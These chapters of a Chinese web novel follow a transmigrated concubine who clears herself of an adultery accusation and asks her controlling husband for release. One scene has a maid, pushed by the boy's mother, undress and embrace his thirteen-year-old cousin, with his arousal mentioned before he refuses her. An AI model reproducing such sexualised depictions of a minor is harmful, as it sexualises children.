钱绮便笑:“你家可是种了石榴树?” 丫鬟原本还有些紧张,听钱绮这么问,便放松了些,说道:“夫人怎会知道?奴婢家中种了好几棵石榴树,我又正好是石榴结果的时候出生的,我娘便给我取了这个名字。” 钱绮望向儿子,见儿子目光怔怔,盯着石榴看了一会儿,竟一言不发走了。 那丫鬟还以为自己说错了话,双手揪着衣角,目光怯怯地望向钱绮。 钱绮走到石榴面前,摘下手腕上的玉镯,递给她,说道:“石榴,你若做得好,日后我自会给你一番好前程。” 石榴接过玉镯,感动不已,说道:“夫人……奴婢一定好好伺候少爷。” 晚上,谢进在书房看书,一人进来了。 是白日那丫鬟。 石榴换上了谢府的丫鬟服饰,略施粉黛,涂了口脂,整个人显得格外水灵。 她俏生生地立在门口,福了福身子,轻声唤道:“少爷。” 谢进的目光在她脸上停留片刻,很快便移开了,说道:“你先出去吧,这里用不着你。” 石榴刚进来就被打发走,到底年纪小,眼眶瞬间红了,心中害怕被赶走,辜负了夫人的嘱托,便鼓起勇气,声音颤抖着问道:“少爷,可是觉得奴婢这名字不好?” 方才谢进听了她的名字便走了,石榴以为是名字惹他不喜。 “奴婢这名字确实有些粗俗,不够文雅,上不得台面。” “少爷可为奴婢重新取个名字?” 谢进听出了她的害怕,便宽慰道:“我不是让你回夫人那儿。你去找阿智,他会给你安排活儿。平日里,你也不用到我跟前来。” “我不习惯身边有人伺候。我也并不觉得你的名字粗俗。” 他顿了顿,又道:“石榴……” “是个挺好的名字。” 石榴犹豫着说:“可是,夫人叫我……” 谢进道:“你既已来了我这儿,便是我的人,只需听我的话。” 我的人。 听了这话,石榴的心跳微微加速了。 她福了福身子,应道:“是,少爷。” 五月底。 夜里,屋内燥热异常,寻真身上出了一层汗,好几次被热醒。 睡得迷迷糊糊的。 恍惚间,她突然感觉有人在注视着自己,睁开眼,心瞬间悬了起来。 床边坐着一个黑影。 身形十分高大。 寻真吓得心脏砰砰直跳,等闻到熟悉的香味,才意识到是谢漼。 两个多月没见。 他怎么大半夜来了。 寻真有些纠结,是继续装睡,还是起身问候一句。 好在屋内昏暗,谢漼看不到她是睁着眼的。 寻真想了一会,决定装睡。 寻真刚闭上眼睛,打算翻个身往里躲时。 谢漼突然开口,道:“柳氏,你可知错?” 声音清清凉凉。 寻真一时不知该怎么答,便沉默不语。 谢漼默了一会,呼吸也沉了几分。 “你竟还不觉得自己有错。还觉得自个占理?” “你犯下如此大错……” 他像是被气得说不出话,语塞片刻,深吸一口气,又道。 “背着我与他人私通,一直将我蒙在鼓里,被我识破,你竟还如此不知悔改?” “亲属通奸,悖逆五伦。” “你可知道,若被旁人知晓,你会落得什么下场?” 寻真愣了一下,脑子还没转过弯来,刚要开口:“我——” 话还未出口,那道黑影便猛地压了下来。 第73章 第73章“酒气” 寻真只觉得肩膀一紧,被人握住。 一股酒气扑面而来。 “为何不说?” 谢漼的声音,带着几分醉意。 两人几乎面贴面,寻真看见,谢漼的眸中仿佛蒙着一层雾。 他好像不太清醒。 寻真没回答,谢漼便松开了她,脚步略有些凌乱,朝外走去。 谢漼走出数丈之外,寻真才开口:“我没有。” 黑暗中,那道人影定住了,缓缓转过身来。 私通。亲属通奸。 寻真没想到会从谢漼口中听到这两个词。 这个罪可太大了! 寻真坐了起来,说:“我没有做你说的那些……我和谢进只是朋友关系。” “除此之外,再无其他。” “我与他之间是清白的,绝对没有做任何违背伦理道德的行为!” 谢漼:“你二人交换信物,又时常背着我私会。” “这若不算,还要如何才算?” 寻真:“什么信物?” 谢漼不语,寻真思索片刻,便说:“那个木簪的确是他送我的,抓钩也是他的,我们偶尔是会见面……” 四周一片昏暗,只能隐约瞧见彼此模糊的轮廓。 可今日的谢漼,没有给寻真那种很强的压迫感。 寻真便认真跟他解释起来。 “这些事,我确实瞒了你,我认。你若要罚,我也无话可说。” “私通,还有亲属……”寻真顿了下,“这些绝对不可能。” “我与谢进只是朋友,没有任何男女之情。” 谢漼静了一会儿,道:“你要我如何信你?” 寻真:“我跟他认识的时候,他才十岁,比我矮半个头。” “我要是抱着那样的心思跟他往来,那跟禽兽有什么区别?!” “更何况我都……” 寻真停了一下,“反正绝对不是你想的那样!” “你若不信,认定我与谢进私通,把罪名强加到我头上,我也没办法。” 谢漼:“你便是这般态度与我解释的?” 寻真没有回答。 谢漼似是酒醒了些,开始引导对话。 “我现在问你,你若再对我有丝毫隐瞒。我便……” “必定不会轻饶,可明白?” 寻真嗯了一声。 谢漼走了过来,在案前坐下,面朝床铺,问道:“你与谢进何时相识?” 寻真便答:“是有一日,他为躲避小厮,躲进我这里,便认识了。” 谢漼问了些细节,寻真一一答了。 谢漼沉默了会,又问:“两年前岁除夜,你与谢进去了何处,都做了什么?” 寻真心 想,他果然都调查清楚了。 “那晚,我本来打算睡了,突然听见有人在敲窗……” 说到这个,寻真脑海里闪现不太美好的记忆,迅速略过不提,“谢进说突然想起我来了,给我送了串糖葫芦。” “我见他腰间挂着个钩子,好奇问他,他便将那钩子送我了……” 谢漼问道:“他为何突然想起你?” 寻真回:“谢进为人赤诚、纯粹,他很能体谅别人。我想……他应该是猜到我呆在这里无聊,便随心做了这事。” “不过是寻常的善意之举。我亦感激,他能想到我。” 谢漼周身的气压似乎低了些。 寻真察觉到了,也不知道是那句话惹谢漼不高兴。 还是继续坦白道:“之后我便随他一起出了府,你烧的那盏灯,便是他送我的。” “我亦回赠了他一盏鱼灯。” 谢漼:“中途可是碰见了范岂?” 寻真反应了一会,才想起有那么一回事。 谢漼竟连这都知道? 寻真:“只是不小心撞到而已,我们都没说几句话。” 谢漼又问了几个问题,寻真都详细说了。 还有谢漼没问的,寻真也主动交代。 谢漼:“容楣?” 寻真点点头:“我先前听了你的话,便没跟她结交,可后来听谢进说起她,我怀疑她有寻死之意,便去救她了……还恰好碰到谢进。” “后来我与谢进又好几次去找容楣,我还给她送了好些吃的用的……” 差不多都交代完了。 谢漼沉默许久,似在消化这些事,良久才问:“你与谢进,当真没有……” 寻真立马道:“没有!” “你为何总怀疑我与谢进有私情?” “男女之间,除了私情,就无其他情谊了?” “我与谢进,不过是寻常朋友往来,却被你误解成那般龌龊的关系!” 谢漼:“便是你没有,你又如何能保证旁人不这般想?” “谢进如今已十三,再过一二年便要成家。现今他或许没有杂念,可日后之事难料,你如何确保,他懂了男女之事后,对你不会生出别的心思?” 寻真便问:“那你为何不怀疑我与容楣有私情呢?” “我也送了她好多东西,她也常为我唱小曲听。” 谢漼:“休要胡搅蛮缠,我在问你谢进之事,莫要瞎扯旁的。” 寻真:“你硬要说别人对我有想法,我能有什么办法?” “欲加之罪,何患无辞。” 谢漼:“你犯下这般大错,怎还如此理直气壮?” “便是你与谢进之间清清白白,可旁人若问起,又会有几个信?” “我的妾室,与我从弟以好友之名私下往来。” “谁能信你们毫无私情?” 寻真没说话,谢漼突然向外唤了一声。 月兰举着烛进来,见到谢漼,脸上顿时出现惊喜之色,“爷。” 忙掌了灯,奉了茶,随后退下。 屋内骤然明亮,寻真顿时感觉不自在起来,瞥了眼谢漼,垂下头。 谢漼声音冷沉:“若不是我及时发现,时日一久,被旁人察觉你与他私下往来。” “于你,柳氏。” “便是灭顶之灾。” 寻真自然是知道的,所以她跟谢进一直都很小心,只这辩解的话,当然不能说。 寻真唔了一声。 谢漼:“我已与谢进言明,叫他断了和你的往来,他亦向我承诺,日后不会再来寻你。” “今日,你也向我承诺一句,此事便就此作结。” 寻真:“好,我答应你。” 谢漼:“承诺怎可如此随意?你这般说,我怎知你答应的是什么?” 寻真仰起头,直视谢漼,道:“好,我日后不会再与谢进有任何往来。” 满意了吧。 谢漼注视着她,眉眼冷峻,冷声道:“听着,你心中似是极不情愿。” 寻真胸膛急速起伏,差点忍不住顶嘴,终究还是忍了下来。 谢漼:“想说什么,直说便是,何必强忍?” 寻真:“我没什么好说的。” 谢漼盯着她半晌,道:“你如今是愈发骄纵了,想来是我平日太过宠你,让你没了规矩,行事毫无顾忌。” “如今可还记得,自个是个什么身份?” “身为妾室,当如何事奉夫君?” 寻真抬眸看向他。 谢漼:“还不过来。” 寻真没动。 谢漼盯着他,眉眼间凝起冰霜。 “柳氏,你莫不是真以为,我奈何不了你?” “若你仍这般与我犟,我定——” 寻真打断他,鼓起勇气提了:“爷,可否给我一张放妾书?” “既然我犯下如此大错,您便放我离去吧。” “您之前所赐的首饰、钱财,我什么都不要,只求您能给我——” 未说完,谢漼已大步逼近,站在床边居高临下地俯视着她:“什么都不要?” “连恒哥儿都不要了?” 寻真心想,那孩子跟她又有什么关系。 寻真:“我屡屡犯错,长此以往,迟早会犯下不可饶恕之罪。” 寻真放低了姿态,请求道:“爷,我想我真的不适合在这府中生活,您就给我放妾书吧……” “好不好?” 谢漼:“柳氏,你在说什么胡话?” 寻真:“我没有乱说,我是认真的。” 寻真下床,穿好鞋,照这边的礼节,对谢漼行跪拜大礼。 谢漼的身形猛地一颤,往旁边避让。 寻真跪在地上,挺直脊背,缓缓说道:“我虽失了忆,但也从旁人口中得知,是爷将我从烟花之地救出。还给我这般安稳富足的生活。” “此大恩,我无以为报。” “可我总记不住府中的规矩,屡次犯错,惹爷生气。” “我爱惜我自己这条小命。怕自己未来有一日犯下无可挽回的大错,丢了性命。” “我愿签下债书,将爷所花的赎金,以及这些年的吃穿用度,都记在账上,日后定当如数奉还。” “爷,您就看在我多年侍奉的份上,放我离去,可好?” 寻真直视着谢漼。 谢漼凝视她,不知在想什么,看面色十分平静。 最终,他开口道:“你一介弱女子,孤身在外,如何能在这世道中生存?” “放你出去,便是害了你。” “再者,你已为我生下长子,便是犯了错,我也自会宽宥你。” “今日,我便当做什么都没听见。先前那事,我不再追究。” “好生歇着,我并未有将你遣出府的打算,莫要再胡思乱想。” 听着尾音有些颤。 谢漼说完这些,便大步离去了。 第74章 第74章“汗湿” 一月转瞬即逝,儿子那边没任何动静,钱绮遂命人将石榴唤到自己屋里问话。 钱绮屏退众仆,开口问道:“石榴,徐嬷嬷上回教你的,可都记得?” 当初将石榴送往谢进处时,徐嬷嬷曾拿出避火图给石榴看,向石榴说明男女之事,还特意提点暗示,若少爷没有那方面的心思,她便要主动些。 石榴想到那些,脸便红了红,道:“奴婢记得的。” 钱绮又问:“为何一月过去,仍无消息?” 石榴揉搓着手指,抬眸瞧了一眼钱绮,小声解释道:“少爷不让奴婢贴身贴身伺候,奴婢……奴婢……” 钱绮看着这丫头,心里叹息,太过老实也不好。 她叫石榴退下,唤来徐嬷嬷,让徐嬷嬷再给她讲得明白些。 小屋中。 徐嬷嬷指点石榴道:“若少爷没那个意思,你便主动些,想法子……夫人既已给了你恩典,你便不用顾忌,可懂了?” 石榴:“可是……” 徐嬷嬷:“法子都交给你了,若再不成,可就负了夫人对你的抬举,石榴,你莫要让夫人失望。” 石榴咬着唇,终是点点头。 徐嬷嬷:“若成了事,日后自有你一番好造化。” 是夜,万籁俱寂。 谢进刚唤人送茶,听见脚步声,没抬头 。 许久,都未再听见动静,说道:“放下便可以退下了。” 依旧没声,谢进抬起头,瞧见是石榴,颇为讶异,问道:“怎会是你?” 石榴着一袭轻薄红衫,上了妆,身上还散着淡淡的香。 她想到一会儿要做的事,不禁紧张起来,唤了一声,“少爷……”将茶端到谢进面前时,手一抖,竟不慎打翻,茶水倾洒,泼到谢进身上。 谢进忙起身,身上的茶水不断往下淌, “少爷,奴婢……奴婢不是有意的……” 石榴环顾四周,没看见布巾,只得快步上前,用袖子为谢进擦拭。 泼到茶水之处,在谢进腰身以下,石榴擦拭了一会,忽然想起徐嬷嬷给她看的那些册子,耳根红透了。 谢进捏住她的手臂,将她往外推:“你出去吧。” 谢进低头用手掸着衣服,水珠飞溅开来。 石榴并未听从谢进的话,在原地站了片刻,红着脸,开始解裙子的系带。 外衫褪下,落在地上。 谢进余光瞥见,讶异抬头,“你做什——” 话还未说完,面前的妙龄女子便大胆地走上前,将他抱住了。 石榴身上仅剩一件裹胸。 温软的肢体,清甜的女儿香,是完全不属于男子的温度和触感。谢进只愣了一瞬,便想着要将人推开,手刚握住石榴的手臂。 眼眸下垂,目光触及石榴的面容,手便僵住动不了。 眼神甚至变得有些恍惚。 石榴没遭到拒绝,心中的胆量又大了几分。 忽然感觉腹前有什么抵住她。 她脸更红了,心想,这便是册子上所画的,男子那物了…… 石榴声音又细又柔,抬起手帮谢进解衣:“少爷,奴婢伺候您安歇……” 谢进却像是突然回过神来,抓住石榴的肩,用力将她推开。 他粗重地喘息着,手摁在被茶水泼湿的案上,缓了好一会儿。 再看向前方。 石榴怯怯地站在不远处,眼中泛着晶莹,满眼写着被拒绝后的害怕。 谢进本有些生气,看到她这目光后,还是忍下了:“你今日为何这么做?我不是叫你听阿智的吩咐吗?为何不听我的话?” 平日谢进对下人们说话都和和气气,从没有这般严厉过,石榴便吓得不敢说话了,眼泪哗哗地往下掉。 谢进:“方才,可是你自己的主意?” 石榴落着泪,没有说话。 谢进:“你如实说。” 石榴哽咽着:“少爷,是奴婢自己的主意。” 谢进看了她一会儿:“你下去吧,这次便算了,若你下次再做这样的事,我这儿便不能留你了。” 石榴:“是,少爷……” 外衫正好落在茶水洒到的地面上,大半都湿了。 石榴捡起湿衣服,抖着手,迅速穿上,正要出去,谢进叫住:“你将衣服穿好,身上差不多干了,再出去。” 石榴一怔,眼中又涌出泪水:“是……少爷。” 谢漼走后,寻真陷入了思考。 刚才她提出“放妾”,谢漼并没有动怒,只说,她无法在这世道中生存。 那么,只要证明她有独自生存的能力,谢漼还是有可能同意的? 为此,寻真精心准备了一大段话术。 可谢漼又是十几天没来。 到了六月,天气愈发炎热。 寻真穿上了自制短袖和短裤,在秋千下乘凉。 一月前种的西瓜已经长出苗来,寻真看了会儿书,拎着水壶去后面浇水。 谢漼近日得了一块极为珍贵的墨。 此墨,坚如玉,纹如犀。闻着还有独特的香味。 若是从前,谢漼得此宝,定要寻个好日子,潜心书写或是作画,在自己状态最佳之时使用,以不至于浪费这难得的宝墨。 今日,天高云淡,虽炎热,书房中摆了冰块,十分凉爽宜人。 谢漼磨好墨,蘸墨,欲下笔时,脑中又浮现那晚她对他说的话。 落笔书写。 谢漼回魂了般,定睛一看,纸上已写了一字“放”,后面的“妾”字刚起半笔。 谢漼受了惊似的,搁下笔,将纸撕成碎片,丢掉了。 坐了一会,墨汁也渐渐干涸。 谢漼深吸一口气,重新铺纸,凝神静心。 默《清净经》。 “……夫人神好清,而心扰之;人心好静,而欲牵之。” 谢漼写着写着,摒除杂念,心也静了下来。 待写到“即是真静”,其中某字,笔尖顿了一下。 然而,接下来一小段中,有一连四个“真”。 谢漼写到最后一个,停笔,面上神色平静无澜,慢慢将默了一半《清静经》的纸折起,放到一边。 脑海中搜索一番,寻得战国策中《触龙说赵太后》一篇。 待写完,豁然开朗。 谢漼来的时候,寻真正好浇完水,从屋后走回来。 院中无人,静谧非常。 微风拂过,吹得两旁果树的枝叶簌簌作响。 寻真手里拎着个水壶,穿着短袖短裤,跟谢漼打了个照面。 乍见谢漼,寻真有些恍惚。 其实除了谢漼喝醉的那天晚上。 算起来,她与谢漼有足足三月没见了。 谢漼走到秋千那边。 石桌上倒扣着一本杂传,是寻真用来消磨时光的。 谢漼拿起,看着寻真翻开的那一页。 寻真想了想,还是走过去,唤他:“爷。” 谢漼看了她一眼,目光从她裸/露的四肢上扫过,嗯了一声。 寻真见他这平静的样子。 就好像什么都没发生过。 寻真的心也平静了:“爷,我先去里面换身衣裳。” 谢漼颔首,轻应一声。 换衣服时,寻真将那准备了好几天的话术在心中过了一遍。 谢漼好不容易过来一趟,一定要想办法说服他。 次间。 月兰和引儿已摆好了茶点,立在一旁,随时听候吩咐。 几上放着围棋,谢漼正与自己对弈。 他倚在隐囊上,坐姿虽随意,眼神却凝在棋盘上。 黑子白字落得极快,瞧着十分专注。 谢漼好似才注意到她来了,吩咐月兰二人退下,伸手示意她落座。 然后继续下棋。 寻真坐在白棋那一边,还以为谢漼要跟她下棋。 她坐下后,谢漼却什么都没说,一味下棋。 寻真看了一会,没看懂。 寻真等着,耳边传来棋子“哒哒哒”落下的声音。 听困了。 寻真靠着塌的另一侧,打了个盹。 直到耳旁没了声音,寻真迷迷糊糊睁眼,朝对面望去。 结束了吗? 撞上谢漼的视线,他一直注视着自己。 与谢漼对视了一会,寻真率先移开目光。 目光收回时,掠过棋盘。 虽不太懂围棋。 但也能看出。 白子被杀了个片甲不留。 寻真心想,自己跟自己下,还能两方差距这么悬殊的? 寻真挥散脑中杂乱的思绪,端起茶杯正要喝。 手腕被人压下。 是谢漼。 谢漼:“已放了许久,莫要喝了。” 寻真“哦”了一声。 谢漼手指偏热,较寻真的肌肤,温度高出许久。 寻真心下不自在,放下手,无意识摩挲着被他触到的位置。 谢漼唤人来,重新换了一壶茶。因天热,丫鬟们泡完茶,会先用冰块进行降温,再呈上来。 寻真倒没那么多讲究,茶放久了,也照样喝。 等 丫鬟们下去了,室内只剩两人。 室内摆放了冰块,凉气袭来。 因寻真要提那个话题,心中难免紧张,手心微微见了汗。 寻真扫了眼棋盘,攥了攥汗湿的手,终于打算开口。 抬起头,正要唤谢漼。 谢漼却突然问道:“近来过得如何?” 寻真一愣,回道:“挺好的。” 谢漼:“近日愈发热了,只管着人去冰窖支取冰块,不必拘谨。” 寻真哦了一声。 谢漼:“待天更热,断不可在外久留。你身子弱,若中了暑气,又要吃苦。” 寻真:“……多谢爷关心。” 寻真再次鼓起勇气,谢漼又开口了。 “那晚,你与我解释的,我皆信了。” “确是我错怪了你。” 寻真看了谢漼一眼,嗯了一声。 “那日,你还与我说——” 谢漼顿了下,直视她:“你想我放你离宅?” 寻真没想到他主动提了,感觉自己的节奏被他打乱,心下一紧。 旋即坐直了身体,与谢漼对视,点了点头。 第75章 第75章“出妾” 谢漼:“你可想好了?” 寻真:“嗯,我想好了,爷可否能允我?” 谢漼垂眸看着茶汤里浮沉的叶芽。 “我需与你讲个明白。” “出妾,非同小可。在世人眼中,被出之妾,若非德行有失,便是身染恶疾。在夫家犯下不可饶恕之错,才会被逐出门庭。往后你……” “欲再嫁,寻常人家亦会多有顾虑,若因此令你后半生孤苦无依,那便是我害你了。” 寻真欲言又止。 谢漼开口道:“心中有何想法,尽可直言。” “今日你我坦诚相对,莫要对彼此隐瞒。” 今天谢漼竟然这么温和。 奇怪。 寻真点头:“爷,我并无再嫁的想法。” “我只打算一个人过。” 谢漼:“你怎会有这般想法?” “你可知女子独身在外有多难?” “一旦被出,居无定所,衣食无着。你以何为生?” “且你身子骨弱,既受不得凉,又禁不住热。” “如此炎日,你在外过上一月,便要病了。” “若为外人知晓,我将育有子嗣的妾室逐出府去。” “而你在外又过得凄苦,旁人会如何看我?” 寻真:“……其实。” “这两年来,我每日都有坚持锻炼,从未有一日懈怠的。” “我已觉得身子强健许多,应是不易染病了。” 寻真总感觉好像有哪里不对。 谈话一直被谢漼主导。 寻真只能顺着他往下说。 谢漼:“你身子状况,我岂会不知?” “外面虽看似强健,内里其实积弱已久。” “你早年,过得不易,又生了恒哥儿,身子便更弱了,需常年调理,才能慢慢好转。” 谢漼看向她:“我先前所言,让你晚两年生育,此亦缘由之一。” “此前未让你知晓,是怕你知自己身子状况,徒增烦恼。” 也不知谢漼说的是不是真的。 寻真还是坚持道:“我出府了,一样能调理身子。” “也是一样的。” 谢漼:“你这般异想天开,叫我如何能放心,信你能好好在府外活下去?” “你身无长物,哪来的银钱,去买那药材?” “若我出无过之妾,自会给你一笔银子傍身。可资财用尽,你又当如何?” “且女子孤身在外,身怀财产,极易被豪强霸占掠夺。” “若遭恶霸欺凌,你便是送信到我府上,我亦恐鞭长莫及,让你被人欺负了去。” 她哪有谢漼想的那么弱。 可又想到,谢漼居然真的考虑过放她,还要给她一笔银子。 其实那天,她说要签下债书,还赎金和这几年的吃穿用度,心里多少有些打鼓,这钱估计不少,可能得每年一点点还。 若谢漼能给她钱,那自然再好不过。 寻真:“我也想过了。” “京中治安好,我便在闹市寻个住处。我也懂得财不外露的道理,平日穿得朴素些,再往丑里打扮。这样,便能隐匿在人群中了,也就不会有人将主意打我身上。” “至于如何谋生,我也有打算。” “我每日都临摹爷的字,如今也算有几分模样。我还略懂些四书五经,便以男子的名号,去书肆寻些抄书的活计,挣些小钱。” “我并不是身无长物,爷应知道,我喜好做一些吃食,到时可在街边支个摊子,起初卖些成本低的吃食,若生意做大了,设法盘下一个店面,再做些大的营生。” 这些话都是寻真在腹中打好草稿要跟谢漼说的。 “先前与爷说,要还您赎金以及这些年的花用,并不是说大话。” “若我有幸挣得多了,便会一次性还清。若没那么多,便只能慢慢还给爷,日积月累,总能还光的。” 谢漼听着这一字字的“还”,可当真刺耳。 目光凉了下来,盯着寻真。 寻真认真地看他,道:“爷,我想离府,并不是意气用事,也并不是异想天开。” “我虽是女子,可您也不能这般小瞧了我。” “我若生了病,便就医,若有人欺,便报官。” “我有信心能把日子过好。” 谢漼:“女子抛头露面,在外经商,你可知,会遭多少艰难险阻?” “若受了委屈,无人倾诉,亦无处申冤。” “你又说不再嫁人,身旁无人相伴,如何忍受得了那无尽孤寂?” “后半生无子无夫,没个依靠,等老了,谁为你养老送终?” “这些你可都考虑过?” “还说不是意气用事,这般苦日子,我怎会让你去过?” 寻真要是说,自己不靠男人,也不觉得没男人就不行。 没人送终她根本不在乎。 但这思想太离经叛道,当然是不能说的。 谢漼:“这些暂且不提。” “你也别忘了,你为我生下了恒哥儿。” “不管日后如何。你始终都是恒哥儿的生母,他若不为你养老,便是不孝。” “这一点,你自是不用担心。” 寻真:“爷,那放妾书……” 谢漼:“我方才说了这么多,你竟一点都没听进去。” “若有歹人瞧上了你的美貌,欲强占了你,你报官无门,又当如何是好?” “你性子纯善憨直,易轻信旁人,若从商,怎敌得过那些狡猾奸诈的商贾?若官商勾结,将你私产全部侵吞,又见你为女子,便更无所顾忌。” “稍有不慎,再被卖入娼门,叫天不应,叫地不灵。” “可还有第二个我将你救出?” “这些,你可都想过?” 寻真:“我……” 寻真的确不了解外面的世界,一穿来就在这小院子里,已待了快三年多。 但她总感觉,谢漼说的都是小概率事件,她没那么傻,也不会那么倒霉。 谢漼最后定论:“你便是执意要出府,去过那苦日子。” “宁愿衣食无着,居无定所,每日为生计奔波。” “也不愿再留在我身边了。” “可对?” 其实……也可以这么说。 寻真瞅着谢漼,心里明白,当然不能直接点头承认。 寻真:“不是……” “我不是这个意思……我只是……” 谢漼那双桃花眼注视着她:“再者,你为我妾,一直都做得很好。” “自你入府,已有四年多了,我从未对你不满。你行事端正,从未有过忤逆长辈、搬弄是非之举。” “还为我生下恒哥儿,更是辛苦。” “至于那私通之罪,是我一时糊涂,错怪了你。” “如今真相已明。你毫无过错,我又怎能无故将你逐出家门,让你今后的日子没了依靠?” 谢漼起身,朝她走来。 下一刻,他上了塌,握了一下她的肩。 寻真还没反应过来,便被抱到了谢漼 怀里。 坐到他腿上。 他体温高,身子要比她热许多。 隔着薄薄的衣衫相触,炽热的温度好似要将她融化。 寻真身子僵了瞬,不自觉地屏住呼吸。 “真儿……” 谢漼许久没这么唤她,最近都“柳氏”“柳氏”地叫,突然来了这么一声,寻真还有些不习惯。 谢漼的手在她肩上轻抚着,微低下头来,热息喷在她耳侧,轻声道:“真儿还要与我置气到什么时候?” “那晚,我那般待了你,是为夫不对。” 他在她耳边说话,声音分外低沉,黏糊糊的。 “为夫向你赔罪,日后再不如此了。” “原谅我这一回,可好?” 热气钻进耳里,卷起丝丝缕缕的痒。 寻真缩了一下脖子,被谢漼捧住脸,掰过来,同他对视。 谢漼的拇指轻轻擦着寻真的脸颊:“嗯?真儿。” 寻真没有回他这个问题,而是调整了一下自己的状态,看着谢漼,再度认真问他:“爷可否能给我放妾书?” 谢漼脸上的表情凝固了一瞬。 寻真感到他身上的温度也冷却了几分。 寻真才回过神来,她完全被谢漼带偏了,许多话,现在才想起来。 比如,明明留在府中更危险,她可已经被谋害了两次! 没准出府,才是她的活路。 刚才就该反驳谢漼的。 寻真:“我知爷是为我考虑,怕我离了府后,护不住自己。” “只是,人各有命。” “我不过是个微不足道的小人物,无需爷这般挂怀。若是出府后,不慎丢了性命,那也是我自己的选择。每个人都要为自己的选择付出代价,我甘愿。” “爷,您就放了我吧,可好?” 谢漼虽仍抱着她,手上的力度却渐渐松了。 凝视她许久,才缓缓开口,道:“这已是你第二次反悔。” 第二次? 寻真不解。 谢漼:“失忆了,便可当做以前的誓言从未说过,是吗?” 寻真:“我以前……说过什么?” 谢漼俯下身,在她耳边,说了一句话。 寻真睁大了眼:原身竟还立了这么句Flag!这不坑人吗?! 谢漼说完,抬眸,看着寻真:“你若背誓,我亦无话可说。” 然后放开了她,下了塌,走到案前,看着那幅隐士图,静立不动。 寻真纠结许久,内心天人交战,最终还是走了过去,站在谢漼身后不远处,踌躇着。 谢漼负手,背对着她,目光仍凝在那画上。 “你执意要放妾书,我便给你。” “你侍奉我多年,我念在过往情分上,自会为你备下一笔银钱,保你后半生衣食无忧。” “至于赎金,也不必还我,就当你我……” “从未相识。” 寻真用力咬了咬唇,艰难地开口:“若我真说过……” 看着谢漼的背影,还是说出口了。 “那话,我自是不会背誓。” 第76章 第76章“温和?” 谢漼缓缓转过身来,垂眼看她:“你竟以为这话,是我瞎编出来,诓你的不成?” 谢漼这人,的确不是会说谎的性子。 但是…… 寻真:“你真的没有骗我?” 谢漼没有回答。 寻真:“爷,能否容我考虑一天,不……考虑三天?” 谢漼:“这般紧要之事,你便多想几日,仔细考虑清楚……五日后。” “仍于此时,我来寻你。” 五日后,是谢漼休沐的日子。 寻真一愣,点点头:“好。” 谢漼离开时,额头上浮着细密的汗珠。 当天夜里,寻真翻来覆去,想这件事想失眠了。 寻真很矛盾。 一方面,她真想直接答应谢漼,还能拿到一笔钱,只要当心点,出了府就能过得很爽。 大不了就是跟谢漼老死不相往来嘛。 但谢漼这么大方,反而让她良心不安了。 毕竟,他救原身出青楼,这是不争的事实。 原身还对谢漼起过那种誓。 而且,寻真穿来后,除了精神上受点压迫,在衣食住上,确实也没被亏待。 但……精神上的需求,又对寻真挺重要的。 寻真实在两难,想干脆什么都不管,直接走了得了。 很快到了最后期限。 寻真在院中练字。 这五天,寻真算是想明白了。 谢漼就是拿“恩情”压她。 就看她怎么选了。 谢漼那番话,意思很明显,若是她违背誓言,他就当瞎了眼看错人,从没救过她。 寻真大致也脑补出了剧情。 想来是谢漼救了原身,原身便以身相许,才立下那种誓言。 其实,那话又不是寻真说的,寻真大可以当作没这回事,但…… 要是原身没被谢漼救下,还留在青楼,那她穿过来,完全就是地狱模式了。 哪能像现在这样。 虽然不能出府,被困在这小小一方院子里,但比起这世界的很多人,都过得好了。 不缺钱花,每天还能睡到自然醒。 夏天有冰,冬天有炭。 其实,盘起来,这种日子除了无聊,倒也有不少优点。 但要是留下来,这样的生活,一眼望到头。 寻真想着想着,忍不住抓自己头发。 好烦啊! 谢漼来时,寻真顶着一头炸毛,满脸烦躁,手中捏着毛笔,乱涂乱画。 谢漼在一旁看了许久,走过去,忽然开口:“今日练的什么?” 寻真听见谢漼声音,吓了一跳,紧接着,才发现,她不知何时开始写起了“谢漼”的名字,一笔一划,凌乱不堪。 一个字叠着一个字,“谢漼”二字,将整张纸铺得满满当当、密密麻麻。 寻真脸红到了脖子根。 连忙抬手去捂纸,手忙脚乱地将纸折起来,试图掩盖。 再抬眼时,却见谢漼眼中浮现出一抹淡淡的笑意。 今日,谢漼身着一袭竹青色长袍,身上散着夏日的香。这香清逸淡远,荷香缕缕,还夹杂着些白檀的味道。 闻起来让人心畅神宁。 盛夏,已入伏。 穹宇高旷,烈日高悬。鸟鸣啁啾,此起彼伏。 日光透过枝叶的缝隙洒下,在榆树下形成片片斑驳的光影。 谢漼随手拿起石桌上的一本书,目光落在那架双人秋千上,伸手轻轻摸了摸吊秋千的绳结,像是在研究秋千的构造。 不知想了什么,谢漼坐下了。 然后看着寻真问道:“如此精巧的工艺,真儿定是耗费了不少时日吧?” 寻真脸上的热度褪去了,点了点头:“嗯,差不多做了有半个月吧。” 谢漼:“此等工事,费时费力,必甚为辛苦吧?” 寻真:“倒也还好,每日都做一点点,不知不觉就做完了。” 寻真突然觉得哪里不太对劲。 这谈话氛围…… 他们今天不是该讨论“放妾”这个话题吗,谢漼怎么搞的好像一副什么都没发生过的样子? 不过,这人的心思,寻真从来就没搞懂过。 寻真把纸和笔收好,想着该如何切入正题时。 谢漼开口了:“想来,我离开那两年,真儿定是过得相当无趣又烦闷吧?” 寻真望过去,只见微风轻轻拂动着谢漼的发。 他面色温和,那种迫人的气势全被收了起来。 别的不提,单看这张脸,还是非常赏心悦目的。 寻真嗯了一声。 谢漼:“所以,你宁愿冒着被严惩的风险,也要与谢进出府。” 寻真没答,谢漼便继续道:“那时,谢进不过是个十岁小儿,想法单纯,自是不明白这般行为若是被长辈发现,你会遭受怎样的后果。” “可你年长他七岁,自是全都明白。” “明知后果严重,却还是与他一同出府,甚至还继续与他来往。” “而如今你,又向我索要‘放妾书’,我思来想去,只觉得真儿必定是整日困在此处,烦闷难耐。” “所以才一心想出府,可对?” 寻真依旧没有回答,谢漼便继续说。 “真儿可知,若你答应与我一道去陇州。那便是截然不同的光景了。” “陇州府邸只我一人,你若想出府,我又怎会阻拦?” “便是想去远一些的地方玩,我亦可派护卫送你去。” 在“坐牢”的日子里,寻真也不是没设想过另一种选择会是怎样。 却没想到,会是谢漼描述的这样。 但后悔无用,早都过去了。 谢漼坐着,仰头看她:“你可是以为,我是有意拘着你,不让你出院子?” “府中 规诫苛严,人多眼杂。我行事也不能随心所欲,多有掣肘。” “而你,当慎之又慎,若稍有差池……” 他停了片刻,语气稍稍重了。 “便如你与我十五弟一事,若为外人所知,以我如今官位,护不住你。” “真儿,你可明白?” 寻真:“……嗯。” 